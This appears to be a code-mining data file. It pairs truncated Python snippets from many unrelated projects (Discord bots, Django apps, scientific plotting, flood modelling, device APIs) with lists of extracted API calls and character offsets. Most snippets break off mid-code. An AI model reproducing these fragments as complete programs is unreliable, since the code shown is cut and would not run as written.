[((830, 857), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (847, 857), False, 'import logging\n'), ((908, 926), 'datetime.timedelta', 'timedelta', ([], {'hours': '(6)'}), '(hours=6)\n', (917, 926), False, 'from datetime import datetime, timedelta\n'), ((943, 961), 'datetime.timedelta', ...
import database import pymongo from pymongo import MongoClient import copy class Database(database.Database): def __init__(self): database.Database.__init__(self) client = None db = None collection = None recent = None host = 'localhost' port = 27017 timeout = 20 database_name = 'radiowcs' auth...
[ "pymongo.MongoClient", "database.Database.__init__", "copy.deepcopy" ]
[((136, 168), 'database.Database.__init__', 'database.Database.__init__', (['self'], {}), '(self)\n', (162, 168), False, 'import database\n'), ((574, 607), 'pymongo.MongoClient', 'MongoClient', (['self.host', 'self.port'], {}), '(self.host, self.port)\n', (585, 607), False, 'from pymongo import MongoClient\n'), ((858, ...
import torch from torchvision.utils import make_grid import numpy as np from base import BaseTrainer from models import Generator, Discriminator from losses import * from data_loaders import CartoonDataLoader from utils import MetricTracker class ExpnameTrainer(BaseTrainer): def __init__(self, config): su...
[ "numpy.mean", "numpy.sqrt", "models.Generator", "torch.load", "data_loaders.CartoonDataLoader", "torch.nn.DataParallel", "models.Discriminator", "utils.MetricTracker", "torch.save", "torch.no_grad" ]
[((1475, 1689), 'data_loaders.CartoonDataLoader', 'CartoonDataLoader', ([], {'data_dir': 'self.config.data_dir', 'src_style': '"""real"""', 'tar_style': 'self.config.tar_style', 'batch_size': 'self.config.batch_size', 'image_size': 'self.config.image_size', 'num_workers': 'self.config.num_workers'}), "(data_dir=self.co...
from django.conf import settings from django.http import HttpResponse from django.urls import include, path from django.contrib.flatpages.views import flatpage as flatpage_view from django.apps import apps as django_apps from django_distill import distill_url, distill_path, distill_re_path def test_no_param_view(requ...
[ "django_distill.distill_re_path", "django.urls.include", "django.http.HttpResponse", "django_distill.distill_url", "django_distill.distill_path", "django.apps.apps.get_model" ]
[((337, 399), 'django.http.HttpResponse', 'HttpResponse', (["b'test'"], {'content_type': '"""application/octet-stream"""'}), "(b'test', content_type='application/octet-stream')\n", (349, 399), False, 'from django.http import HttpResponse\n'), ((812, 874), 'django.http.HttpResponse', 'HttpResponse', (["b'test'"], {'cont...
# Copyright 2013-2021 The Salish Sea MEOPAR contributors # and The University of British Columbia # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/...
[ "numpy.ma.masked_values", "types.SimpleNamespace", "matplotlib.pyplot.colorbar", "numpy.ma.masked_where", "matplotlib.pyplot.figure", "matplotlib.gridspec.GridSpec", "salishsea_tools.visualisations.contour_thalweg", "salishsea_tools.viz_tools.set_aspect", "numpy.arange" ]
[((4625, 4687), 'numpy.ma.masked_where', 'np.ma.masked_where', (["(mesh_mask['tmask'][0, ...] == 0)", 'tracer_hr'], {}), "(mesh_mask['tmask'][0, ...] == 0, tracer_hr)\n", (4643, 4687), True, 'import numpy as np\n'), ((5016, 5224), 'types.SimpleNamespace', 'SimpleNamespace', ([], {'tracer_var': 'tracer_var', 'tracer_hr'...
#!/usr/bin/env python 3.6 # -*- coding: utf-8 -*- """ Created on Saturdau Sep 16 16:58:58 2017 @author: Hans - Clément - Ali """ #----------Import_module----------- import pandas as pd import numpy as np import matplotlib.pyplot as plt from sklearn.decomposition import PCA from sklearn.model_selection impo...
[ "numpy.mean", "matplotlib.pyplot.title", "configparser.ConfigParser", "matplotlib.pyplot.ylabel", "matplotlib.pyplot.xlabel", "matplotlib.pyplot.plot", "matplotlib.pyplot.colorbar", "numpy.asarray", "sklearn.neighbors.KNeighborsClassifier", "numpy.array", "numpy.zeros", "pandas.read_table", ...
[((2982, 3001), 'configparser.ConfigParser', 'conf.ConfigParser', ([], {}), '()\n', (2999, 3001), True, 'import configparser as conf\n'), ((3126, 3174), 'pandas.read_table', 'pd.read_table', (['"""../data/xtrain.txt"""'], {'header': 'None'}), "('../data/xtrain.txt', header=None)\n", (3139, 3174), True, 'import pandas a...
# -*- coding: utf-8 -*- # Copyright 2021 Red Hat # GNU General Public License v3.0+ # (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type """ The iosxr snmp_server fact class It is in this file the configuration is collected ...
[ "ansible_collections.cisco.iosxr.plugins.module_utils.network.iosxr.utils.utils.flatten_config" ]
[((2112, 2135), 'ansible_collections.cisco.iosxr.plugins.module_utils.network.iosxr.utils.utils.flatten_config', 'flatten_config', (['data', 'x'], {}), '(data, x)\n', (2126, 2135), False, 'from ansible_collections.cisco.iosxr.plugins.module_utils.network.iosxr.utils.utils import flatten_config\n')]
import csv import os import requests import us from datetime import datetime from django.core.management.base import BaseCommand from django.contrib.humanize.templatetags.humanize import ordinal from fullstack.models import ( Body, Division, DivisionLevel, Office, Officeholder, Party, Perso...
[ "fullstack.models.Body.objects.get_or_create", "datetime.datetime", "csv.DictReader", "fullstack.models.Body.objects.get", "tqdm.tqdm", "os.path.join", "os.environ.get", "fullstack.models.Office.objects.get_or_create", "fullstack.models.Party.objects.get", "fullstack.models.Party.objects.get_or_cr...
[((574, 637), 'fullstack.models.DivisionLevel.objects.get_or_create', 'DivisionLevel.objects.get_or_create', ([], {'name': 'DivisionLevel.COUNTRY'}), '(name=DivisionLevel.COUNTRY)\n', (609, 637), False, 'from fullstack.models import Body, Division, DivisionLevel, Office, Officeholder, Party, Person\n'), ((691, 778), 'f...
import sox import numpy as np import argparse import os parser = argparse.ArgumentParser() parser.add_argument("--input", help="input file name") args = parser.parse_args() print(args.input) np1 = np.arange(start=-1.0, stop=1.1, step=0.10) np2 = np.arange(start=0.9, stop=1.11, step=0.01) np3 = np.arange(start=0.9...
[ "sox.Transformer", "argparse.ArgumentParser", "os.system", "numpy.arange", "numpy.random.shuffle" ]
[((66, 91), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (89, 91), False, 'import argparse\n'), ((203, 244), 'numpy.arange', 'np.arange', ([], {'start': '(-1.0)', 'stop': '(1.1)', 'step': '(0.1)'}), '(start=-1.0, stop=1.1, step=0.1)\n', (212, 244), True, 'import numpy as np\n'), ((252, 294), ...
from darr.basedatadir import BaseDataDir, create_basedatadir from darr.metadata import MetaData from ._version import get_versions #TODO: required keys for sndinfo class DataDir(BaseDataDir): _classid = 'DataDir' _classdescr = 'object for IO for disk-persistent sounds' _version = get_versions()['version'...
[ "darr.basedatadir.BaseDataDir.__init__", "darr.basedatadir.create_basedatadir", "darr.metadata.MetaData" ]
[((1376, 1426), 'darr.basedatadir.create_basedatadir', 'create_basedatadir', ([], {'path': 'path', 'overwrite': 'overwrite'}), '(path=path, overwrite=overwrite)\n', (1394, 1426), False, 'from darr.basedatadir import BaseDataDir, create_basedatadir\n'), ((537, 569), 'darr.basedatadir.BaseDataDir.__init__', 'BaseDataDir....
########################################################### # SELENIUM TESTS FOR PROCEDURE HARNESS # to run: rm server_log.txt and client_log.txt from client logs directory # launch client and server with stderr redirected to client_log.txt and server_log.txt # run proc_harness_tests_automated.py # # Fu...
[ "unittest.main", "selenium.webdriver.Chrome", "os.listdir", "os.getcwd" ]
[((4242, 4257), 'unittest.main', 'unittest.main', ([], {}), '()\n', (4255, 4257), False, 'import unittest\n'), ((1290, 1308), 'selenium.webdriver.Chrome', 'webdriver.Chrome', ([], {}), '()\n', (1306, 1308), False, 'from selenium import webdriver\n'), ((1353, 1364), 'os.getcwd', 'os.getcwd', ([], {}), '()\n', (1362, 136...
""" Overall test for the PYGA framework""" from src.ga import GA import numpy as np TEST_CONFIGURATION = { "generation_size": 100, "iterate_evolution": True, "max_fitness": 0.99, "display_info": False, } def give_score(weights) -> float: """ Higher weights give higher fitness """ return np.m...
[ "numpy.mean", "src.ga.GA" ]
[((346, 393), 'src.ga.GA', 'GA', ([], {'_num_weights': '(5)', 'fitness_function': 'give_score'}), '(_num_weights=5, fitness_function=give_score)\n', (348, 393), False, 'from src.ga import GA\n'), ((316, 332), 'numpy.mean', 'np.mean', (['weights'], {}), '(weights)\n', (323, 332), True, 'import numpy as np\n'), ((487, 50...
import os import matplotlib.pyplot as plt from pytplot import get_data from . import mms_load_mec def mms_orbit_plot(trange=['2015-10-16', '2015-10-17'], probes=[1, 2, 3, 4], data_rate='srvy', xrange=None, yrange=None, plane='xy', coord='gse'): spacecraft_colors = [(0,0,0), (213/255,94/255,0), (0,158/255,115/255)...
[ "matplotlib.pyplot.imshow", "matplotlib.pyplot.ylabel", "matplotlib.pyplot.xlabel", "os.path.realpath", "matplotlib.pyplot.axes", "matplotlib.pyplot.title", "matplotlib.pyplot.legend", "matplotlib.pyplot.show" ]
[((1300, 1337), 'matplotlib.pyplot.imshow', 'plt.imshow', (['im'], {'extent': '(-1, 1, -1, 1)'}), '(im, extent=(-1, 1, -1, 1))\n', (1310, 1337), True, 'import matplotlib.pyplot as plt\n'), ((883, 911), 'matplotlib.pyplot.xlabel', 'plt.xlabel', (['"""X Position, Re"""'], {}), "('X Position, Re')\n", (893, 911), True, 'i...
import os from functools import lru_cache import yaml from cloudshell.recorder.rest.model import RestRequest, RestSession class Configuration(object): SESSION_KEY = 'Session' RECORDS_KEY = 'Requests' def __init__(self, config_path): self._config_path = config_path @property @lru_cache(...
[ "functools.lru_cache", "yaml.load", "cloudshell.recorder.rest.model.RestRequest" ]
[((310, 321), 'functools.lru_cache', 'lru_cache', ([], {}), '()\n', (319, 321), False, 'from functools import lru_cache\n'), ((417, 434), 'yaml.load', 'yaml.load', (['config'], {}), '(config)\n', (426, 434), False, 'import yaml\n'), ((664, 690), 'cloudshell.recorder.rest.model.RestRequest', 'RestRequest', ([], {}), '(*...
import numpy import torch from torch_rl.algos.base import BaseAlgo class I2Algorithm(BaseAlgo): def __init__(self, environment_class, n_processes=16, seed=1, acmodel=None, num_frames_per_proc=None, discount=0.99, lr=7e-4, gae_lambda=0.95, entropy_coef=0.01, value_loss_coef=0.5, max_grad_norm=0.5...
[ "numpy.arange" ]
[((3872, 3921), 'numpy.arange', 'numpy.arange', (['(0)', 'self.num_frames', 'self.recurrence'], {}), '(0, self.num_frames, self.recurrence)\n', (3884, 3921), False, 'import numpy\n')]
import pygame from pygame.locals import * from sys import exit from PIL import Image from PID import execute_PID import numpy as np # Global Variables larg = 1000.0 alt = 640.0 global position_, angle_, velocidade position_ = 0 angle_ = 0 velocidade = 0 class Screen: def __init__(self, larg, alt, bg_image): pygam...
[ "numpy.abs", "PIL.Image.open", "sys.exit", "pygame.init", "pygame.quit", "pygame.event.get", "pygame.display.set_mode", "pygame.mouse.get_pos", "pygame.time.Clock", "pygame.transform.rotate", "numpy.array", "pygame.key.get_pressed", "pygame.display.set_caption", "pygame.image.load", "pyg...
[((315, 328), 'pygame.init', 'pygame.init', ([], {}), '()\n', (326, 328), False, 'import pygame\n'), ((353, 404), 'pygame.display.set_caption', 'pygame.display.set_caption', (['"""Simulador 2D de Drone"""'], {}), "('Simulador 2D de Drone')\n", (379, 404), False, 'import pygame\n'), ((478, 531), 'pygame.image.load', 'py...
import os import math import numpy as np from skimage import transform, io from PIL import Image import os Image.MAX_IMAGE_PIXELS = None root_path = r'X:\test_image\output' image_name = 'mask.tiff' output_name = 'new_heatmap.tiff' img_path = os.path.join(root_path, image_name) output_path = os.path.join(root_path, ou...
[ "os.path.join", "numpy.stack", "numpy.zeros", "skimage.io.imread", "skimage.io.imsave", "numpy.linalg.norm" ]
[((244, 279), 'os.path.join', 'os.path.join', (['root_path', 'image_name'], {}), '(root_path, image_name)\n', (256, 279), False, 'import os\n'), ((294, 330), 'os.path.join', 'os.path.join', (['root_path', 'output_name'], {}), '(root_path, output_name)\n', (306, 330), False, 'import os\n'), ((1533, 1563), 'skimage.io.im...
from ClassCalculator import Calculator class Main: def get_input(self,message): return input(message) def menu(self): t = True while t: m = "---Menu---\n" m += "Escribe la abreviación adecuada\n" m += "Suma: x mas y\nResta: x menos y\nMultip...
[ "ClassCalculator.Calculator" ]
[((803, 819), 'ClassCalculator.Calculator', 'Calculator', (['a', 'b'], {}), '(a, b)\n', (813, 819), False, 'from ClassCalculator import Calculator\n')]
# Generated by Django 2.2.8 on 2019-12-19 03:54 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('database_models', '0006_ox'), ] operations = [ migrations.AlterModelOptions( name='ox', options={'ordering': ['horn_length']...
[ "django.db.migrations.AlterModelOptions" ]
[((219, 334), 'django.db.migrations.AlterModelOptions', 'migrations.AlterModelOptions', ([], {'name': '"""ox"""', 'options': "{'ordering': ['horn_length'], 'verbose_name_plural': '뿔의 길이'}"}), "(name='ox', options={'ordering': ['horn_length'\n ], 'verbose_name_plural': '뿔의 길이'})\n", (247, 334), False, 'from django.db...
import gsum as gm import numpy as np from numpy import ndarray import matplotlib.pyplot as plt from matplotlib.patches import Patch import matplotlib.patches as mpatches from matplotlib.patches import Ellipse from matplotlib.legend_handler import HandlerPatch from matplotlib.legend import Legend from matplotlib.ticker ...
[ "seaborn.utils.despine", "matplotlib.pyplot.rc_context", "numpy.log", "numpy.column_stack", "numpy.isin", "matplotlib.ticker.MaxNLocator", "numpy.cov", "numpy.arange", "numpy.exp", "numpy.concatenate", "warnings.warn", "matplotlib.cm.get_cmap", "matplotlib.pyplot.gca", "matplotlib.pyplot.g...
[((768, 795), 'docrep.DocstringProcessor', 'docrep.DocstringProcessor', ([], {}), '()\n', (793, 795), False, 'import docrep\n'), ((2330, 2371), 'numpy.trapz', 'np.trapz', (['posterior_2d'], {'x': 'lengths', 'axis': '(0)'}), '(posterior_2d, x=lengths, axis=0)\n', (2338, 2371), True, 'import numpy as np\n'), ((2393, 2430...
#!/usr/bin/python3 #-*- coding: utf-8 -*- """ A simplistic attempt to parse simple procedural languages that control e.g. MOVPE apparatuses gas flow (not finished) """ import sys,re time = 0 labels = {} tableheader = [] ## TODO TODO efficient accumulation of data w/ possibility of new variables in the middle of EPI...
[ "re.match", "re.search" ]
[((798, 835), 're.match', 're.match', (['"""^\\\\s*\\\\d?\\\\d?:?\\\\d+"""', 'line'], {}), "('^\\\\s*\\\\d?\\\\d?:?\\\\d+', line)\n", (806, 835), False, 'import sys, re\n'), ((925, 951), 're.search', 're.search', (['""""[^"]*\\""""', 'line'], {}), '(\'"[^"]*"\', line)\n', (934, 951), False, 'import sys, re\n'), ((1048,...
import aio_pika import asyncio import config import inspect import logging import orjson import sys import traceback import zangy from classes.misc import Status, Session from classes.state import State from discord import utils from discord.ext import commands from discord.ext.commands import DefaultHelpCommand, Cont...
[ "logging.getLogger", "discord.ext.commands.view.StringView", "aio_pika.connect_robust", "discord.utils.to_json", "discord.ext.commands.DefaultHelpCommand", "classes.misc.Status", "discord.utils.find", "discord.gateway.DiscordWebSocket", "discord.http.HTTPClient", "asyncio.Event", "inspect.cleand...
[((566, 593), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (583, 593), False, 'import logging\n'), ((684, 704), 'discord.ext.commands.DefaultHelpCommand', 'DefaultHelpCommand', ([], {}), '()\n', (702, 704), False, 'from discord.ext.commands import DefaultHelpCommand, Context\n'), ((1511...
from enum import Enum from abc import ABC, abstractmethod import logging import json import trio class DeviceType(Enum): """ The DeviceType defines which kind of Elro device this is """ CO_ALARM = "0000" WATER_ALARM = "0004" HEAT_ALARM = "0003" FIRE_ALARM = "0005" DOOR_WINDOW_SENSOR =...
[ "json.dumps", "trio.Event" ]
[((783, 795), 'trio.Event', 'trio.Event', ([], {}), '()\n', (793, 795), False, 'import trio\n'), ((817, 829), 'trio.Event', 'trio.Event', ([], {}), '()\n', (827, 829), False, 'import trio\n'), ((1903, 1915), 'trio.Event', 'trio.Event', ([], {}), '()\n', (1913, 1915), False, 'import trio\n'), ((2058, 2070), 'trio.Event'...
from problems.fizz_buzz import FizzBuzz def test_fizz_buzz(): output = FizzBuzz.compute() assert output == ['1', '2', 'fizz', '4', 'buzz', 'fizz', '7', '8', 'fizz', 'buzz', '11', 'fizz', '13', '14', 'fizzbuzz', '16', '17', 'fizz', '19', 'buzz', 'fizz', '22', '23', 'fizz', 'buzz', '26', ...
[ "problems.fizz_buzz.FizzBuzz.compute" ]
[((77, 95), 'problems.fizz_buzz.FizzBuzz.compute', 'FizzBuzz.compute', ([], {}), '()\n', (93, 95), False, 'from problems.fizz_buzz import FizzBuzz\n')]
# Start Date: 3/9/2021 # Last Updated: 3/9/2021 # Author: <NAME> # App Name: Chat App (Multi Client) # Version: GUI Version 1.0 # Type: Server, Client # import multiple_chat_app_server as mcas # import multiple_chat_app_client as mcac import os, sys import tkinter from tkinter import Label, ttk def requi...
[ "tkinter.Menu", "os.path.exists", "tkinter.Frame.__init__", "os.makedirs", "tkinter.Tk.__init__", "tkinter.Menu.__init__", "tkinter.Label", "sys.exit" ]
[((349, 375), 'os.path.exists', 'os.path.exists', (['"""database"""'], {}), "('database')\n", (363, 375), False, 'import os, sys\n'), ((387, 410), 'os.makedirs', 'os.makedirs', (['"""database"""'], {}), "('database')\n", (398, 410), False, 'import os, sys\n'), ((481, 512), 'tkinter.Menu.__init__', 'tkinter.Menu.__init_...
from discord.ext import commands import requests class Cep(commands.Cog): """ Talks with user """ def __init__(self, bot): self.bot = bot @commands.command(name = 'cep',help="Verifica os dados de um CEP Brasileiro") async def consult_cep(self, ctx, cep): #viacep.com.br/ws/cep/...
[ "discord.ext.commands.command", "requests.get" ]
[((170, 245), 'discord.ext.commands.command', 'commands.command', ([], {'name': '"""cep"""', 'help': '"""Verifica os dados de um CEP Brasileiro"""'}), "(name='cep', help='Verifica os dados de um CEP Brasileiro')\n", (186, 245), False, 'from discord.ext import commands\n'), ((473, 526), 'requests.get', 'requests.get', (...
# Generated by Django 2.2 on 2019-05-16 07:44 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('ward_mapping', '0001_initial'), ] operations = [ migrations.AlterField( model_name='map2011', name='old_survey_ward_co...
[ "django.db.models.CharField" ]
[((343, 387), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(30)', 'unique': '(True)'}), '(max_length=30, unique=True)\n', (359, 387), False, 'from django.db import migrations, models\n')]
# Standard imports import keras as k import tensorflow as tf import numpy as np """ NOTE: All functions in this file are directly adopted from continuum mechanics fundamentals and hence do not need further introduction. In order to not inflate this file unnecessarily with comments (and sacrificing readability), we...
[ "numpy.sqrt", "tensorflow.shape", "tensorflow.transpose", "tensorflow.math.subtract", "numpy.arccos", "tensorflow.linalg.inv", "tensorflow.math.divide", "tensorflow.gradients", "numpy.sin", "tensorflow.keras.backend.expand_dims", "tensorflow.eye", "numpy.multiply", "tensorflow.concat", "te...
[((4611, 4651), 'tensorflow.linalg.matmul', 'tf.linalg.matmul', (['F', 'F'], {'transpose_a': '(True)'}), '(F, F, transpose_a=True)\n', (4627, 4651), True, 'import tensorflow as tf\n'), ((5108, 5144), 'tensorflow.keras.backend.expand_dims', 'tf.keras.backend.expand_dims', (['dir', '(3)'], {}), '(dir, 3)\n', (5136, 5144)...
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: get_difference.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.proto...
[ "google.protobuf.reflection.GeneratedProtocolMessageType", "google.protobuf.symbol_database.Default", "google.protobuf.descriptor.FieldDescriptor" ]
[((468, 494), 'google.protobuf.symbol_database.Default', '_symbol_database.Default', ([], {}), '()\n', (492, 494), True, 'from google.protobuf import symbol_database as _symbol_database\n'), ((6604, 6773), 'google.protobuf.reflection.GeneratedProtocolMessageType', '_reflection.GeneratedProtocolMessageType', (['"""GetDi...
import requests import json from string import Template from models.user import User from models.task import Task from models.system import System from models.threshold import Threshold from models.user_preferences import UserPreferences from models.alert_perferences import AlertPerferences from models.base_station imp...
[ "models.alert_perferences.AlertPerferences", "models.location.Location", "models.devices.Device", "models.user.User", "string.Template", "models.threshold.Threshold", "models.sensor.Sensor", "models.task.Task", "models.system.System", "models.base_station.BaseStation", "models.user_preferences.U...
[((1003, 1077), 'string.Template', 'Template', (['"""{"sessions": {"email": "${email}", "password": "${password}"}}"""'], {}), '(\'{"sessions": {"email": "${email}", "password": "${password}"}}\')\n', (1011, 1077), False, 'from string import Template\n'), ((1827, 1851), 'models.user.User', 'User', ([], {}), "(**results...
from extraction.runnables import Extractor, RunnableError, ExtractorResult import extractor.csxextract.interfaces as interfaces import extractor.csxextract.config as config import extractor.csxextract.filters as filters import defusedxml.ElementTree as safeET import xml.etree.ElementTree as ET import xml.sax.saxutils a...
[ "requests.post", "extraction.runnables.RunnableError", "extraction.runnables.ExtractorResult", "defusedxml.ElementTree.fromstring", "re.sub", "os.remove" ]
[((2384, 2435), 're.sub', 're.sub', (['""" xmlns="[^"]+\\""""', '""""""', 'resp.content'], {'count': '(1)'}), '(\' xmlns="[^"]+"\', \'\', resp.content, count=1)\n', (2390, 2435), False, 'import re\n'), ((2448, 2476), 'defusedxml.ElementTree.fromstring', 'safeET.fromstring', (['xmlstring'], {}), '(xmlstring)\n', (2465, ...
#------------------------------------------------------------------------------ # IMPORT NECESSARY MODULES #------------------------------------------------------------------------------ print (' ABOUT to Start Simulation:- Importing Modules') import anuga, anuga.parallel, numpy, time, os, glob from anuga.operat...
[ "anuga.Domain", "anuga.Reflective_boundary", "anuga.parallel.parallel_operator_factory.Boyd_pipe_operator", "numpy.array", "anuga.parallel.Inlet_operator", "anuga.create_mesh_from_regions", "time.time", "anuga.Dirichlet_boundary" ]
[((1311, 1508), 'anuga.create_mesh_from_regions', 'create_mesh_from_regions', (['bounding_polygon'], {'boundary_tags': "{'south': [0], 'east': [1], 'north': [2], 'west': [3]}", 'maximum_triangle_area': '(1.0)', 'filename': 'meshname', 'use_cache': '(False)', 'verbose': '(True)'}), "(bounding_polygon, boundary_tags={'so...
#!/usr/bin/env python import os import requests from datetime import datetime jira_version_name = os.getenv('JIRA_VERSION_NAME') jira_project = os.getenv('JIRA_PROJ') auth_user = os.getenv('JIRA_AUTH_USER') auth_password = os.getenv('JIRA_AUTH_PASSWORD') if jira_version_name is None: print("Version Name Variable ...
[ "datetime.datetime.today", "requests.post", "os.getenv" ]
[((99, 129), 'os.getenv', 'os.getenv', (['"""JIRA_VERSION_NAME"""'], {}), "('JIRA_VERSION_NAME')\n", (108, 129), False, 'import os\n'), ((145, 167), 'os.getenv', 'os.getenv', (['"""JIRA_PROJ"""'], {}), "('JIRA_PROJ')\n", (154, 167), False, 'import os\n'), ((180, 207), 'os.getenv', 'os.getenv', (['"""JIRA_AUTH_USER"""']...
import logging import ephem from . import Jnames, Bname_dict, cat_3C_dict, cal_dict, Bnames, EphemException #from Astronomy.Ephem import EphemException module_logger = logging.getLogger(__name__) class Quasar(ephem.FixedBody): """ ephem.FixedBody() with "J" or "B" name """ def __init__(self,name): """ ...
[ "logging.getLogger" ]
[((171, 198), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (188, 198), False, 'import logging\n'), ((1215, 1264), 'logging.getLogger', 'logging.getLogger', (["(module_logger.name + '.Quasar')"], {}), "(module_logger.name + '.Quasar')\n", (1232, 1264), False, 'import logging\n')]
from redbot.core import commands, checks, Config from redbot.core.utils import menus import asyncio import discord import random import logging from .mdtembed import Embed from .crystal import FEATUREDS, BCB log = logging.getLogger(name="red.demaratus.mcoc") class Mcoc(commands.Cog): """Fun Games and Tools for M...
[ "logging.getLogger", "redbot.core.utils.menus.menu", "redbot.core.commands.cooldown", "random.choice", "random.uniform", "redbot.core.Config.get_conf", "redbot.core.commands.command", "redbot.core.commands.group" ]
[((215, 259), 'logging.getLogger', 'logging.getLogger', ([], {'name': '"""red.demaratus.mcoc"""'}), "(name='red.demaratus.mcoc')\n", (232, 259), False, 'import logging\n'), ((817, 833), 'redbot.core.commands.group', 'commands.group', ([], {}), '()\n', (831, 833), False, 'from redbot.core import commands, checks, Config...
from interactionfreepy import IFBroker, IFWorker from LibSync import LibSync import sys import threading from datetime import datetime, timedelta import time from NTP import NTPSyncer class IFNode: def __init__(self): self.inited = False def init(self, serverRootURL,localRootPath): if self.inited:raise Ru...
[ "LibSync.LibSync", "sys.exit", "sys.stdin.readline", "NTP.NTPSyncer" ]
[((556, 582), 'NTP.NTPSyncer', 'NTPSyncer', (['"""172.16.60.200"""'], {}), "('172.16.60.200')\n", (565, 582), False, 'from NTP import NTPSyncer\n'), ((1326, 1363), 'LibSync.LibSync', 'LibSync', (['serverRootURL', 'localRootPath'], {}), '(serverRootURL, localRootPath)\n', (1333, 1363), False, 'from LibSync import LibSyn...
from django.db import models class Pet(models.Model): pet_name = models.CharField(max_length=20) def __str__(self): return self.pet_name
[ "django.db.models.CharField" ]
[((70, 101), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(20)'}), '(max_length=20)\n', (86, 101), False, 'from django.db import models\n')]
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
[ "alembic.op.get_bind", "superset.db.Session", "sqlalchemy.Boolean", "alembic.op.batch_alter_table", "sqlalchemy.String", "sqlalchemy.ext.declarative.declarative_base", "sqlalchemy.Column" ]
[((1154, 1172), 'sqlalchemy.ext.declarative.declarative_base', 'declarative_base', ([], {}), '()\n', (1170, 1172), False, 'from sqlalchemy.ext.declarative import declarative_base\n'), ((1251, 1290), 'sqlalchemy.Column', 'sa.Column', (['sa.Integer'], {'primary_key': '(True)'}), '(sa.Integer, primary_key=True)\n', (1260,...
import os from PIL import Image import time in_dir = 'images_1000' out_dir = 'images_crop' if not os.path.isdir(out_dir): os.mkdir(out_dir) img_list = os.listdir(in_dir) for img_file in img_list: print(img_file) img_name = os.path.splitext(os.path.basename(img_file))[0] img = Image.open(os.path.join(...
[ "os.listdir", "os.path.join", "os.path.isdir", "os.mkdir", "os.path.basename", "time.time" ]
[((158, 176), 'os.listdir', 'os.listdir', (['in_dir'], {}), '(in_dir)\n', (168, 176), False, 'import os\n'), ((100, 122), 'os.path.isdir', 'os.path.isdir', (['out_dir'], {}), '(out_dir)\n', (113, 122), False, 'import os\n'), ((128, 145), 'os.mkdir', 'os.mkdir', (['out_dir'], {}), '(out_dir)\n', (136, 145), False, 'impo...
from floodsystem.stationdata import build_station_list, update_water_levels from floodsystem.flood import stations_levels_over_threshold def run(): # Build list of stations stations = build_station_list() # Update latest level data for all stations update_water_levels(stations) # Check which st...
[ "floodsystem.stationdata.build_station_list", "floodsystem.flood.stations_levels_over_threshold", "floodsystem.stationdata.update_water_levels" ]
[((195, 215), 'floodsystem.stationdata.build_station_list', 'build_station_list', ([], {}), '()\n', (213, 215), False, 'from floodsystem.stationdata import build_station_list, update_water_levels\n'), ((269, 298), 'floodsystem.stationdata.update_water_levels', 'update_water_levels', (['stations'], {}), '(stations)\n', ...
""" Use a common library (skimage) as a source of truth for experimental images to analyze """ import skimage import pathlib import numpy as np import matplotlib.pyplot as plt from PIL import Image def saveImage(data: np.ndarray, name: str): # save it to disk repoRoot = pathlib.Path(__file__).parent.parent ...
[ "PIL.Image.fromarray", "pathlib.Path" ]
[((283, 305), 'pathlib.Path', 'pathlib.Path', (['__file__'], {}), '(__file__)\n', (295, 305), False, 'import pathlib\n'), ((474, 495), 'PIL.Image.fromarray', 'Image.fromarray', (['data'], {}), '(data)\n', (489, 495), False, 'from PIL import Image\n')]
import torch def cross_entropy_loss(): return torch.nn.CrossEntropyLoss(reduction="mean")
[ "torch.nn.CrossEntropyLoss" ]
[((52, 95), 'torch.nn.CrossEntropyLoss', 'torch.nn.CrossEntropyLoss', ([], {'reduction': '"""mean"""'}), "(reduction='mean')\n", (77, 95), False, 'import torch\n')]
""" Tests for HAProxyMonitor run with nosetests """ __copyright__ = '2013, Room 77, Inc.' __author__ = '<NAME> <<EMAIL>>' from flexmock import flexmock import unittest from pylib.monitor.haproxy.haproxy_cluster_monitor_group import HAProxyClusterMonitorGroup def mock_monitor(url, available): """ Create a mock ...
[ "pylib.monitor.haproxy.haproxy_cluster_monitor_group.HAProxyClusterMonitorGroup", "flexmock.flexmock" ]
[((484, 501), 'flexmock.flexmock', 'flexmock', ([], {'url': 'url'}), '(url=url)\n', (492, 501), False, 'from flexmock import flexmock\n'), ((1511, 1566), 'pylib.monitor.haproxy.haproxy_cluster_monitor_group.HAProxyClusterMonitorGroup', 'HAProxyClusterMonitorGroup', (['"""<EMAIL>"""', 'cluster_monitors'], {}), "('<EMAIL...
# For compatibility with Python2 from __future__ import print_function, division, absolute_import # import spekpy as sp print("\n** Script to save, load and remove a new spectrum from disk **\n") # Generate filtered spectrum s=sp.Spek(kvp=120,th=12).filter('Al',2.5) # Print summary of metrics s.summarize(mode="full")...
[ "spekpy.Spek", "spekpy.Spek.show_states", "spekpy.Spek.load_state", "spekpy.Spek.remove_state" ]
[((434, 470), 'spekpy.Spek.show_states', 'sp.Spek.show_states', ([], {'state_dir': '"""usr"""'}), "(state_dir='usr')\n", (453, 470), True, 'import spekpy as sp\n'), ((500, 530), 'spekpy.Spek.load_state', 'sp.Spek.load_state', (['state_name'], {}), '(state_name)\n', (518, 530), True, 'import spekpy as sp\n'), ((638, 679...
#!/usr/bin/env python import os import time import datetime from soco import SoCo from threading import Thread from SocketServer import TCPServer from __future__ import print_function from SimpleHTTPServer import SimpleHTTPRequestHandler # Athan files names - mp3 files should be placed in the same folder as script RE...
[ "SocketServer.TCPServer", "datetime.datetime.now", "soco.SoCo", "time.sleep" ]
